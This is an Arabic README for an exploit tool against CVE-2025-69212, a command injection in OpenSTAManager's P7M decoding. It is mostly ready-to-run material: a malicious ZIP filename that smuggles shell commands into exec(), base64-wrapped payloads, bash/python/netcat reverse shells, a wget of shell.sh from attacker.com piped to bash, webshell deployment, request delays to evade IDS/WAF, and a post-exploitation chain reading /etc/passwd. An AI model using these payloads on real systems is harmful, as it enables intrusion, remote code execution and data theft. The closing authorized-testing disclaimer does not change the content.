يحتوي OpenSTAManager v2.9.8 والإصدارات الأقدم على ثغرة خطيرة في حقن الأوامر في نظام التشغيل (OS Command Injection) في وظيفة فك تشفير ملفات P7M (الموقعة بتنسيق XML).
| الحقل | التفاصيل |
|---|
| معرف CVE | CVE-2025-69212 |
| الخطورة | حرجة (CVSS 4.0: 9.4) |
| CWE | CWE-78: حقن أوامر نظام التشغيل |
| الإصدارات المتأثرة | OpenSTAManager <= 2.9.8 |
| الدالة المعرضة للخطر | XML::decodeP7M() في src/Util/XML.php |
| ناقل الهجوم | اسم ملف ضار في أرشيف ZIP مرفوع |
| المصادقة | مطلوبة (أي مستخدم لديه صلاحية استيراد الفواتير) |
| التأثير | تنفيذ كامل للكود عن بُعد كمستخدم خادم الويب |
يحتوي OpenSTAManager الإصدار 2.9.8 والإصدارات الأقدم على ثغرة حرجة لحقن أوامر نظام التشغيل في دالة فك تشفير ملفات P7M (XML الموقّع). تقوم طريقة decodeP7M() في src/Util/XML.php بتمرير أسماء الملفات التي يتحكم بها المستخدم مباشرة إلى دالة PHP exec() دون تنقية، مما يسمح للمهاجمين الموثّقين بتنفيذ أوامر نظام تعسفية على الخادم.
// src/Util/XML.php:100
public static function decodeP7M($file)
{
$directory = pathinfo($file, PATHINFO_DIRNAME);
$output_file = $directory.'/'.basename($file, '.p7m');
exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);
}
يتم تغليف المعامل $file — الذي يأتي من أسماء الملفات داخل أرشيفات ZIP المرفوعة — بين علامتي اقتباس مزدوجة ولكنه لا يُنقّى أبدًا باستخدام escapeshellarg(). يمكن للمهاجم إنشاء اسم ملف .p7m يهرب من سياق الاقتباس المزدوج ويحقن أوامر شل تعسفية.
plugins/importFE_ZIP/actions.php:126 — الناقل الرئيسي عند معالجة رفع ZIP الذي يحتوي على فواتير إلكترونيةplugins/importFE/src/FatturaElettronica.php:56 — المُنشئ الذي يعالج ملفات .p7m فردية| الميزة | الوصف |
|---|---|
--check | التحقق مما إذا كان الهدف معرضًا للخطر (إنشاء ملف علامة والتحقق منه) |
--webshell | نشر شل ويب PHP عبر حقن أوامر نظام التشغيل |
--rce | تنفيذ أوامر تفاعلي عبر شل ويب منشور |
--reverse-shell | تشغيل شل عكسية (طرق python, nc, nc-e) |
--cmd | تنفيذ أوامر أعمى (إطلاق ونسيان) |
--shell-dir | دليل مخصص لكتابة شل الويب |
--method | اختيار طريقة الشل العكسية |
--proxy | دعم وكيل HTTP (Burp Suite) |
--delay | تخفيف الطلبات لتجنب IDS/WAF |
| الكشف التلقائي | اكتشاف تلقائي لمعرفات وحدة/إضافة importFE_ZIP |
git clone https://github.com/BridgerAlderson/CVE-2025-69212.git
cd CVE-2025-69212
pip install requests
# تسجيل الدخول باستخدام بيانات الاعتماد
python3 exploit.py -t http://target.com -u admin -p secret --check
# استخدام جلسة كوكي موجودة
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --check
# اكتشاف تلقائي للإضافة والتحقق من الثغرة
python3 exploit.py -t http://target.com -u admin -p secret --check
# مع معرفات الوحدة/الإضافة المعروفة
python3 exploit.py -t http://target.com -u admin -p secret --check --module-id 14 --plugin-id 23
# نشر شل ويب في الدليل الافتراضي (files/)
python3 exploit.py -t http://target.com -u admin -p secret --webshell
# دليل واسم مخصصان
python3 exploit.py -t http://target.com -u admin -p secret --webshell --shell-dir uploads --shell-name .config.php
# نشر شل ويب + شل تفاعلية
python3 exploit.py -t http://target.com -u admin -p secret --rce
# مع شل ويب موجود من تشغيل سابق
python3 exploit.py -t http://target.com -u admin -p secret --webshell --rce
# شل عكسية Bash (افتراضي، موثوق جدًا)
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444
# شل عكسية Python
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method python
# Netcat باستخدام mkfifo
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc
# Netcat باستخدام العلم -e
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc-e
# تنفيذ أمر (بدون إرجاع الإخراج)
python3 exploit.py -t http://target.com -u admin -p secret --cmd "id"
# تحميل وتنفيذ حمولة
python3 exploit.py -t http://target.com -u admin -p secret --cmd "cd tmp && wget http://attacker.com/shell.sh && bash shell.sh"
# عبر وكيل Burp Suite
python3 exploit.py -t http://target.com -u admin -p secret --webshell --proxy http://127.0.0.1:8080
# مع تأخير الطلب (ثانيتين)
python3 exploit.py -t http://target.com -u admin -p secret --check --delay 2
# تخطي التحقق من SSL
python3 exploit.py -t https://target.com -u admin -p secret --check -k
الهدف:
-t, --target عنوان URL الأساسي للهدف
المصادقة:
-u, --user اسم المستخدم لتسجيل الدخول
-p, --password كلمة المرور لتسجيل الدخول
-c, --cookie قيمة PHPSESSID موجودة
الإجراءات:
--check التحقق مما إذا كان الهدف معرضًا للخطر
--webshell نشر شل ويب PHP
--rce شل تفاعلية عبر شل الويب
--reverse-shell شل عكسية (LHOST LPORT)
--cmd COMMAND تنفيذ أوامر أعمى
خيارات الشل:
--shell-dir DIR دليل كتابة شل الويب (الافتراضي: files)
--shell-name NAME اسم ملف شل ويب مخصص
--method METHOD طريقة الشل العكسية: bash, python, nc, nc-e
اكتشاف الإضافة:
--module-id ID معرف وحدة OpenSTAManager
--plugin-id ID معرف إضافة importFE_ZIP
الشبكة:
--proxy URL عنوان URL لوكيل HTTP
-k, --no-ssl-verify تعطيل التحقق من SSL
--delay SECONDS التأخير بين الطلبات
يقوم الاستغلال بتشكيل أرشيف ZIP يحتوي على ملف .p7m واحد باسم ضار:
invoice.p7m";INJECTED_COMMAND;echo ".p7m
عندما يعالج OpenSTAManager هذا الملف، يصبح استدعاء exec() الناتج:
openssl smime -verify -noverify -in "invoice.p7m";INJECTED_COMMAND;echo ".p7m" -inform DER -out "..."
يفسر الشل الفواصل المنقوطة كفواصل بين الأوامر، منفذًا الأمر المحقون بين استدعاء openssl المنتهي و echo اللاحق.
هام: تعالج دالة PHP
ZipArchive::extractTo()الشرطة المائلة (/) في أسماء الملفات كفواصل أدلة وفقًا لمواصفات ZIP. أي/في الاسم الضار ستؤدي إلى تقسيم دخول الأرشيف إلى أدلة، مما يكسر حمولة الاستغلال.
يجب أن تتجنب جميع الأوامر المحقونة / تمامًا. لتجاوز هذا القيد بالكامل ومنع تعليق PHP exec() (الذي يمكن أن يشغل عمال الخادم ويسبب مهلاً)، يقوم الاستغلال الآن تلقائيًا بلف الحمولات في Base64 وتنفيذها في الخلفية:
echo <BASE64_PAYLOAD> | base64 -d | bash >/dev/null 2>&1 &
يتيح لنا ذلك استخدام / بشكل طبيعي داخل الحمولة الداخلية (مثل /dev/tcp/10.10.14.5/4444) دون كسر هيكل ZIP.
| الطريقة | الحمولة | يتطلب |
|---|---|---|
bash | bash -c 'bash -i >& /dev/tcp/H/P 0>&1' | bash |
python | python3 -c "import socket,os,subprocess;..." | Python 3 |
nc | rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc HOST PORT >/tmp/f | netcat + mkfifo |
nc-e | nc HOST PORT -e /bin/bash | netcat مع دعم -e |
طريقة bash هي الافتراضية الآن لأنها الأكثر موثوقية والأصلية على أنظمة Linux.
رفع ZIP عبر إضافة importFE_ZIP
└── يقوم actions.php بإرسال المعالجة إلى معالج الإضافة
└── يقوم ZipArchive::extractTo() باستخراج الملفات
└── يتكرر على ملفات .p7m
└── XML::decodeP7M($filename)
└── exec('openssl smime ... -in "'.$filename.'"')
└── يفسر الشل الأوامر المحقونة
1. --check → تأكيد RCE عبر ملف علامة
2. --webshell → إسقاط شل PHP في دليل files/
3. --rce → تنفيذ أوامر تفاعلي
4. استكشاف → id, cat /etc/passwd, ifconfig
5. تنقل → شل عكسية للمهاجم، استغلال ما بعد الهجوم
هذه الأداة مقدمة لاختبارات الأمان المأذون بها والأغراض التعليمية فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. احصل دائمًا على التصريح المناسب قبل الاختبار. المؤلف لا يتحمل أي مسؤولية تجاه سوء الاستخدام.